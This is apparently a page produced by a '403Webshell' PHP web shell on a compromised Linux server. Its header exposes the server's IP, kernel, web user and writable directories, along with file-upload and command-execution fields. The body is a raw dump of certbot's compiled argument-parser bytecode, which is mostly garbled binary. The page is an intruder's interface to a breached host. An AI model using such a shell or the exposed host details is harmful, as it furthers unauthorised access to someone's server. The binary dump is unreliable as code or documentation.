403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/certbot/_internal/cli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/certbot/_internal/cli/__pycache__/helpful.cpython-314.pyc
+
�K�gyX��v�Rt^RIt^RIt^RIt^RIHt^RIHt^RIHt^RIHt^RIH	t	^RIH
t
^RIHt^RIt^R	I
Ht^R
I
Ht^RI
Ht^RIHt^R
IHt^RIHt^RIHt^RIHt^RIHt^RIHt^RIHt^RIHt^RIHt^RIHt^RIH t ^RI!H"t#^RI$H%t%^RI&H't'^RI&H(t(!RR4t)R#)z$Certbot command line argument parserN)�Any)�Dict)�Iterable)�List)�Optional)�Tuple)�Union)�crypto_util)�errors)�util)�	constants)�hooks)�COMMAND_OVERVIEW)�HELP_AND_VERSION_USAGE)�SHORT_USAGE)�add_domains)�CustomHelpFormatter)�flag_default)�HelpfulArgumentGroup)�set_test_server_options)�	VERB_HELP)�
VERB_HELP_MAP)�obj)�disco)�ArgumentSource��NamespaceConfigc�ba�]tRt^%toRtV3RlRlt.R&OtV3RlRltV3RlRltV3RlR	lt	V3R
lRlt
V3RlR
ltV3RlRltV3RlRlt
V3RlRltV3RlRltV3RlRltV3RlRltV3RlRltV3RlRltR'V3RlRlltV3R lR!ltV3R"lR#ltR$tVtR%#)(�HelpfulArgumentParserz�Argparse Wrapper.

This class wraps argparse, adding the ability to make --help less
verbose, and request help on specific subcategories at a time, eg
'certbot --help security' for security options.

c�J<�V^8�dQhRS[S[,RS[S[,RR/#)��args�plugins�returnN)r�strr)�format�
__classdict__s"��?/usr/lib/python3/dist-packages/certbot/_internal/cli/helpful.py�__annotate__�"HelpfulArgumentParser.__annotate__-s/���C�C�T�#�Y�C��#��C�4�C�c�$�^RIHp/RVPbRVPbRVPbRVPbRVP
bRVPbRVPbR	VPbR
VPbRVPbRVPbR
VPbRVPbRVPbRVPbRVPbRVP bVn\$P&!\(P*4P,Vn.Vn.R OpV\3VP"4VP4,R.,,
p\3V4pWE,R.,VnWnVP8'd(VP8^,R8XdRVP8^&VP;4VP=RVP64pVP=RVP64pV\?V\@4'd)\?V\@4'dT;'gTVn!M\?V\D4'dTMTVn!VPGW PB4pVPIVPB4Vn%/Vn&\NPP!RV\RRR.\UR4RPWRPY\UR444R7Vn-RVPZn.VR#)!�)�main�auth�certonly�run�installr"�register�update_account�show_account�
unregister�renew�revoke�rollback�
everything�certificates�delete�enhance�reconfigure�manageN�help�--help�-h�certbot�-c�--config�config_filesz"path to config file (default: {0})z and )�prog�usage�formatter_class�args_for_setting_config_path�default_config_files�config_arg_help_messageF)�all�security�paths�
automation�testing)/�certbot._internalr-r/r0r1�plugins_cmdr2r3r4r5r6r7r8r:r;r<r=�VERBS�display_obj�NoninteractiveDisplay�sys�stdout�notification�notify�actions�list�COMMANDS_TOPICS�help_topicsr!�determine_verb�prescan_for_flag�
isinstance�bool�help_argr$�
_usage_string�determine_help_topics�visible_topics�groups�configargparse�	ArgParserrrr%�join�parser�_add_config_file_help)	�selfr!r"r-�HELP_TOPICS�plugin_names�help1�help2�short_usages	&&&      r'�__init__�HelpfulArgumentParser.__init__-s���*�
��D�M�M�
���
�
�
�
�4�8�8�
�
�t�|�|�	
�

�t�'�'�
�
��
�
�

�
�d�1�1�
�
�D�-�-�
�
�$�/�/�
�
�T�Z�Z�
�
�d�k�k�
�
��
�
�
�
�$�(�(�
�
�D�-�-�
�
�d�k�k�
� 
�t�|�|�!
�"
�4�+�+�#
��
�*"�7�7��
�
�C�P�P���46���,a���t�D�J�J�'�$�*>�*>�>�(��K�K��,0��M��0;�0J�d�V�0S����	��9�9�9����1���/�#�D�I�I�a�L������%�%�d�D�,<�,<�=���%�%�h��0@�0@�A����e�T�"�"�z�%��'>�'>�!�N�N�U�D�M�%/��s�%;�%;�E��D�M��(�(��-�-�@��"�8�8����G���;=���$�.�.���/�*.�
�);�!-�n�!=�$H�$O�$O����\�.�9�:�%<�
=���-2����)�r*c� <�V^8�dQhRS[/#�r r#)r$)r%r&s"�r'r(r)us���	�	�3�	r*c���\R\44pRp\\4F1wr4VP	RR4pVRPW5VR7,
pK3	VR,
pV#)c3�8"�TFp\V4x�K	R#5i�N)�len)�.0�vs& r'�	<genexpr>�:HelpfulArgumentParser._list_subcommands.<locals>.<genexpr>vs���4�m��c�!�f�f�m�s�z,The full list of available SUBCOMMANDS is:

�short�z{0:<{length}}     {1}
)�lengthzG
You can get more help on a specific subcommand with --help SUBCOMMAND
)�maxr�sortedr�getr%)rl�longest�text�verb�props�docs&     r'�_list_subcommands�'HelpfulArgumentParser._list_subcommandsuse���4�m�4�4��?��!�)�,�K�D��)�)�G�R�(�C��-�4�4�T�w�4�O�O�D�-�	
�[�[���r*c�R<�V^8�dQhRS[S[,RS[S[S[3,RS[/#)r r"rbr#)rr$rra)r%r&s"�r'r(r)�s0���!�!�X�c�]�!�e�C��I�>N�!�SV�!r*c�D�RV9dRpMRpRV9dRpMRp\pVRJdHVPV\WC3,,\,4\P
!^4V#W P9d>VPWPP4,4\P
!^4V#VR8XdV\WC3,,
pV#\V\4'd4\P!V/4PR	R
4pV'dTMTpV#)z�Make usage strings late so that plugins can be initialised late

:param plugins: all discovered plugins
:param help_arg: False for none; True for --help; "TOPIC" for --help TOPIC
:rtype: str
:returns: a short usage string for the top of --help TOPIC)
�nginxzH--nginx           Use the Nginx plugin for authentication & installationz+(the certbot nginx plugin is not installed)�apachezI--apache          Use the Apache plugin for authentication & installationz,(the certbot apache plugin is not installed)TrLrGN)rrYrrrV�exitr\r�r`r$rr�)rlr"rb�	nginx_doc�
apache_docrG�customs&&&    r'rc�#HelpfulArgumentParser._usage_string�s���g��b�I�E�I��w��d�J�G�J����t���K�K�� 0�J�3J� J�J�Mc�c�d��H�H�Q�K����-�-�
-��K�K�� 6� 6� 8�8�9��H�H�Q�K�����
�
�%��(?�?�?�E�����#�
&�
&�"�&�&�x��4�8�8��$�G�F�$�F�%�E��r*c�$<�V^8�dQhRS[RR/#�r �configr#Nr)r%r&s"�r'r(r)�s��� � �_� �QU� r*c��VPfQhVPR,\P8XdVPR8Xd
.VnR#R#R#)z8Make "certbot renew" safe if domains are set in cli.ini.N�domainsr6)�argument_sourcesr�CONFIG_FILEr�r��rlr�s&&r'�&remove_config_file_domains_for_renewal�<HelpfulArgumentParser.remove_config_file_domains_for_renewal�sM���&�&�2�2�2��#�#�I�.�.�2L�2L�L��	�	�W�$��F�N�%�
Mr*c�6<�V^8�dQhRS[S[S[3,/#ru)rr$r)r%r&s"�r'r(r)�s!���B�B�T�#�~�*=�%>�Br*c��aa�SPUu/uFqP\PbK	upoSPP4pRVV3RllpVF9pVP
R4'gKV!W$,\P4K;	V!VPR/4\P4RV9EdVR,pVR,wrg.pVF�p	V	P
R4'gKV	R9d\PSR&K8RV	9dV	PR4^,p	MR	V	9dV	PR	4^,p	V	P
R
4'dVPV	4K�V	R,Fp
VPRV
24K	K�	VF1p	SPV	4p\PSVP&K3	S#uupi)
c��V^8�dQhR\\\\P\3,3,R\
RR/#)r �
settings_dict�sourcer#N)rr$rrg�Actionr)r%s"r'r(�?HelpfulArgumentParser._build_sources_dict.<locals>.__annotate__�sC��	I�	I��c�5��9N�9N�PS�9S�3T�.T�)U�	I�"0�	I�59�	Ir*c��<�VP4UUUu.uFwpwr4VfSPV4MTNK!	ppppSPVUu/uFq3PVbK	up4R#uupppiuupirx)�items�_find_action_for_arg�update�dest)r�r��arg�action�_rZ�resultrls&&    ��r'�
update_result�@HelpfulArgumentParser._build_sources_dict.<locals>.update_result�sw���0=�/B�/B�/D�F�/D�+�3���:@��t�0�0��5�V�S�/D�
�F��M�M�g�G�g�F�K�K��/�g�G�H��F��Gs�%A,�A3�config_file�env_var�command_liner�-�
config_dir�=� �--:�NN)rCrD)rZr�r�DEFAULTrj�get_source_to_settings_dict�
startswithr�r��ENV_VAR�COMMAND_LINE�split�appendr�)rlr��source_to_settings_dictr��
source_keyr�r��unprocessed_argsr!r��	short_argr�sf          @r'�_build_sources_dict�)HelpfulArgumentParser._build_sources_dict�s����FJ�\�\�S�\�6�;�;�� 6� 6�6�\�S��#'�+�+�"I�"I�"K��	I�	I�2�J��$�$�]�3�3��5�A�>�C]�C]�^�2�	�-�1�1�)�R�@�.�BX�BX�Y��4�4�3�N�C�M�$1�"�$5�!�Q��D�'���~�~�c�*�*���,�,�+9�+F�+F�F�<�(���#�:��)�)�C�.��+�C��C�Z��)�)�C�.��+�C��>�>�$�'�'��K�K��$�&)��W�W�	����a�	�{�O�4�&-�)(�.���2�2�3�7��&4�&A�&A��v�{�{�#��
�
��yTs�#G#c�:<�V^8�dQhRS[RS[P/#)r r�r#)r$rgr�)r%r&s"�r'r(r)�s%���P�P��P��0E�0E�Pr*c�"�V^,R8wd
RV,pVPFpWP9gKVu#	VPF3pVPF pVPV4'gKVuu#	K5	\RVR24h)r,r�r�z!Action corresponding to argument z is None)rZ�option_stringsr��AssertionError)rlr�r��
option_strings&&  r'r��*HelpfulArgumentParser._find_action_for_arg�s����q�6�S�=���*�C��l�l�F��+�+�+��
�#�
�l�l�F�!'�!6�!6�
� �+�+�C�0�0�!�M�"7�#�
�@���X�N�O�Or*c� <�V^8�dQhRS[/#rur)r%r&s"�r'r(r)s���6�6�O�6r*c���VPPVP4pVPVP,VnVPVn\
V4pVPVP44VPV4VPR8XdMVP'd4\P!RP\P44hRVnVP'dFVP 'd4\P!RP\P44hVP"'gVP$'dVP'V4VP('dVP+V4VP,'dVP.'gRVnVP0'd\2P0!V4VP4'de\6;QJd&RVP84F'gKRM	RM!RVP844'd\P!R4hVP:'d)VP<'d\P!R4h\?VP@\B4'd1\EVP@4^8�d\P!R	4hV#)
z�Parses command line arguments and returns the result.

:returns: parsed command line arguments
:rtype: configuration.NamespaceConfig

r6z{0} cannot be used with renewTz.Flag for non-interactive mode and {0} conflictc3�N"�TFp\P!V4x�K	R#5irx)r�is_wildcard_domain)rz�ds& r'r|�3HelpfulArgumentParser.parse_args.<locals>.<genexpr>0s���F�~�!�4�*�*�1�-�-�~�s�#%FzFUsing --allow-subset-of-names with a wildcard domain is not supported.z@Parameters --hsts and --auto-hsts cannot be used simultaneously.z8Only *one* --key-type type may be provided at this time.)#rj�
parse_argsr!rSr��funcr�set_argument_sourcesr�r��force_interactiver
�Errorr%r�FORCE_INTERACTIVE_FLAG�noninteractive_mode�staging�dry_run�set_test_server�csr�
handle_csr�must_staple�staple�validate_hooksr
�allow_subset_of_names�anyr��hsts�	auto_hstsr`�key_typer[ry)rl�parsed_argsr�s&  r'r�� HelpfulArgumentParser.parse_argss���k�k�,�,�T�Y�Y�7���:�:�d�i�i�0����9�9��� ��-���#�#�D�$<�$<�$>�?��3�3�F�;��9�9����'�'�'��l�l�3�:�:�!�8�8�:�;�;�*.�F�&��#�#�#��(B�(B�(B��,�,�@�G�G��4�4�6�7�
7��>�>�>�V�^�^�^�� � ��(��:�:�:��O�O�F�#�����f�m�m�m� �F�M�� � � �� � ��(��'�'�'��s�F�v�~�~�F�s�s�s�F�v�~�~�F�F�F��l�l�$H�I�I��;�;�;�6�+�+�+��,�,�R�T�
T��f�o�o�t�,�,��V�_�_�1E��1I��,�,�J�L�
L��
r*c�$<�V^8�dQhRS[RR/#r�r)r%r&s"�r'r(r)>s���:�:�o�:�$�:r*c�.�\VPV4#)z�Updates server, break_my_certs, staging, tos, and
register_unsafely_without_email in config as necessary to prepare
to use the test server.)rr�r�s&&r'r��%HelpfulArgumentParser.set_test_server>s��'�t�y�y�&�9�9r*c�$<�V^8�dQhRS[RR/#r�r)r%r&s"�r'r(r)Ds���L�L��L�T�Lr*c��VPR8wd\P!R4hVP'd\P!R4hVPR,wr#\
P!W#4wrEpVFp\W4K	V'g/\P!RVP^,,4hWT3VnVUu0uFq�P4kK	p	p\VP4p
W�8wdE\P!RPRPV	4RPV
444hR#uupi)	zProcess a --csr flag.r/z�Currently, a CSR file may only be specified when obtaining a new or replacement via the certonly command. Please try the certonly command instead.z1--allow-subset-of-names cannot be used with --csr:r,r NzJUnfortunately, your CSR %s needs to have a SubjectAltName for every domainzMInconsistent domain requests:
From the CSR: {0}
From command line/config: {1}z, N)r�r
r�r�r�r	�import_csr_filer�
actual_csr�lower�setr��ConfigurationErrorr%ri)rlr��csrfile�contents�typr�r��domainr��csr_domains�config_domainss&&         r'r�� HelpfulArgumentParser.handle_csrDs���;�;�*�$��,�,� ;�<�
<��'�'�'��,�,�R�S�S�"�J�J�s�O���'�7�7��J���'��F���'����,�,�\��*�*�Q�-� �!�
!�!�J���*1�2�'�Q�w�w�y�'��2��V�^�^�,���(��+�+�a����	�	�+�.��	�	�.�0I�J�L�
L�)��3s�Ec�<�V^8�dQhRR/#)r r#N�)r%r&s"�r'r(r)fs������r*c�6�RVP9gRVP9d
RVnR#\VP4FMwrW P9gKTpVR8XdRpVR8XdRpW0nVPP	V4R#	RVnR#)	zwDetermines the verb/subcommand provided by the user.

This function works around some of the limitations of argparse.

rAr@r?Nr.r/r9r0)r!r��	enumeraterS�pop)rl�i�tokenr�s&   r'r^�$HelpfulArgumentParser.determine_verbfs����4�9�9���D�I�I� 5��D�I��!�$�)�)�,�H�A��
�
�"����6�>�%�D��<�'� �D� �	��	�	�
�
�a� ��-���	r*c�b<�V^8�dQhRS[RS[S[S[,,RS[S[S[3,/#)r �flag�possible_argumentsr#)r$rrrra)r%r&s"�r'r(r)~s6�����S��h�x�PS�}�>U��#�C��I�.�r*c���WP9dR#VPPV4pVPV^,,pWB9dV#R# \dR#i;i)aCChecks cli input for flags.

Check for a flag, which accepts a fixed set of possible arguments, in
the command line; we will use this information to configure argparse's
help correctly.  Return the flag's argument, if it has one that matches
the sequence @possible_arguments; otherwise return whether the flag is
present.

FT)r!�index�
IndexError)rlrr�pos�nxts&&&  r'r_�&HelpfulArgumentParser.prescan_for_flag~sf���y�y� ���i�i�o�o�d�#��	��)�)�C�!�G�$�C��(��
�)����	���	�s�!A�A#�"A#c�v<�V^8�dQhRS[S[S[S[S[,,S[3,,RS[RS[RR/#)r �topicsr!�kwargsr#N)rrrr$r)r%r&s"�r'r(r)�sI���
@�
@�(�5��h�s�m�)<�c�)A�#B�C�
@�C�
@��
@�"�
@r*c�d�VPPVP!V.VO5/VB4R#)a�Add a new command line argument.

:param topics: str or [str] help topic(s) this should be listed under,
               or None for options that don't fit under a specific
               topic which will only be shown in "--help all" output.
               The first entry determines where the flag lives in the
               "--help all" output (None -> "optional arguments").
:param list *args: the names of this argument flag
:param dict **kwargs: various argparse settings for this argument

N)rZr��_add)rlrr!rs&&*,r'�add�HelpfulArgumentParser.add�s)��	
�����D�I�I�f�>�t�>�v�>�?r*c�<�V^8�dQhRS[S[S[S[S[,,S[3,,RS[RS[RS[P/#)r rr!rr#)rrrr$rrgr�)r%r&s"�r'r(r)�sI���=�=�8�E�$�x��}�*=�s�*B�$C�D�=�S�=��=�,�3�3�=r*c�`�VPR4pV\PJdVPP!V/VB#\V\4'd(VPV9d
VPMV^,pMTp\V\4'gkVPV,'dRWPP9d&VPV,pVP!V/VB#VPP!V/VB#\PVR&VPP!V/VB#)r�r?)
r�r�DeprecatedArgumentActionrj�add_argumentr`r[rbrarerf�argparse�SUPPRESS)rlrr!rr��topic�groups&&*,   r'r�HelpfulArgumentParser._add�s������H�%���T�2�2�2��;�;�+�+�T�<�V�<�<��f�d�#�#�&*�]�]�f�%<�D�M�M�&��)�E��E��%��&�&�4�+>�+>�u�+E�+E����#����E�*���)�)�4�:�6�:�:��{�{�/�/��@��@�@�%�.�.�F�6�N��;�;�+�+�T�<�V�<�<r*c�*<�V^8�dQhRS[RS[RR/#)r �
argument_name�num_argsr#N)r$�int)r%r&s"�r'r(r)�s'���H�H�S�H�C�H�D�Hr*c�v�\P!VPR4p\P!W1V4R#)a\Adds a deprecated argument with the name argument_name.

Deprecated arguments are not shown in the help. If they are used
on the command line, a warning is shown stating that the
argument is deprecated and no other action is taken.

:param str argument_name: Name of deprecated argument.
:param int num_args: Number of arguments the option takes.

N)�	functools�partialrr�add_deprecated_argument)rlrr�add_funcs&&& r'r!�-HelpfulArgumentParser.add_deprecated_argument�s*��2�$�$�T�X�X�t�4���$�$�X�h�Gr*c�B<�V^8�dQhRS[RS[S[,RS[RS[/#)r r�verbsrr#)r$rrr)r%r&s"�r'r(r)�s/���1�1�s�1�8�C�=�1��1�$8�1r*c�@�VPV,'d|VPP!V3/VBVPV&VP'd@VF9pVPV,PV\V,R,R7K;	\W4#)a�Create a new argument group.

This method must be called once for every topic, however, calls
to this function are left next to the argument definitions for
clarity.

:param str topic: Name of the new argument group.
:param str verbs: List of subcommands that should be documented as part of
                  this help group / topic

:returns: The new argument group.
:rtype: `HelpfulArgumentGroup`

r~)r?)rerj�add_argument_grouprfrbrrr)rlrr%rr{s&&&, r'�	add_group�HelpfulArgumentParser.add_group�s{�� ���u�%�%�!%���!?�!?��!P��!P�D�K�K����}�}�}��A��K�K��&�3�3�A�M�!�<L�W�<U�3�V��#�D�0�0r*c�8<�V^8�dQhRS[PRR/#)r r"r#N)r�PluginsRegistry)r%r&s"�r'r(r)�s%���
N�
N�u�'<�'<�
N��
Nr*c��VP4F=wr#VPVVPR7pVPP	WB4K?	R#)zq

Let each of the plugins add its own command line arguments, which
may or may not be displayed as help topics.

)�descriptionN)r�r(�long_description�
plugin_cls�inject_parser_options)rlr"�name�	plugin_ep�parser_or_groups&&   r'�add_plugin_args�%HelpfulArgumentParser.add_plugin_args�sI�� '�}�}��O�D�"�n�n�T�9B�9S�9S�-�U�O�� � �6�6��M� /r*c�b<�V^8�dQhRS[S[S[3,RS[S[S[,S[3,/#)r �chosen_topicr#)rr$rarr)r%r&s"�r'r(r)s7���@�@�%��T�	�2B�@�#'���
�t�(;�#<�@r*c��VR8XdRpVR8XdRpVR8Xd VPUu/uFq"VR8gbK
	up#V'gVPUu/uFq"RbK	up#VPUu/uFq"W!8HbK		up#uupiuupiuupi)z�

The user may have requested help on a topic, return a dict of which
topics to display. @chosen_topic has prescan_for_flag's return type

:returns: dict

r.r/r9r0rLzcertbot-route53:authF)r])rlr7�ts&& r'rd�+HelpfulArgumentParser.determine_help_topicss����6�!�%�L��<�'� �L��5� �<@�<L�<L�M�<L�q�q�2�2�2�<L�M�M��&*�&6�&6�7�&6��u�H�&6�7�7�.2�.>�.>�?�.>��1�$�$�.>�?�?��N��7��?s�A;�B�+
B)
rSrZr!rfrbr]rYrjr�reN)�command�commands�
subcommand�subcommandsr%)r�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr\r�rcr�r�r�r�r�r�r^r_rrr!r(r4rd�__static_attributes__�__classdictcell__)r&s@r'rr%s������C�C�LT�O�	�	�!�!�F � �B�B�HP�P�.6�6�p:�:�L�L�D��0��,
@�
@�=�=�>H�H�81�1�.
N�
N�@�@r*r)*rCrrrV�typingrrrrrrrrgrBr	r
rrQrr
�#certbot._internal.cli.cli_constantsrrr�certbot._internal.cli.cli_utilsrrrrr�certbot._internal.cli.verb_helprr�certbot._internal.displayrrT�certbot._internal.pluginsr�certbot.configurationrrrr�r*r'�<module>rMsp��*���
������������'�#�@�F�;�7�?�8�@�C�5�9�8�+�0�1�q@�q@r*

Youez - 2016 - github.com/yon3zu
LinuXploit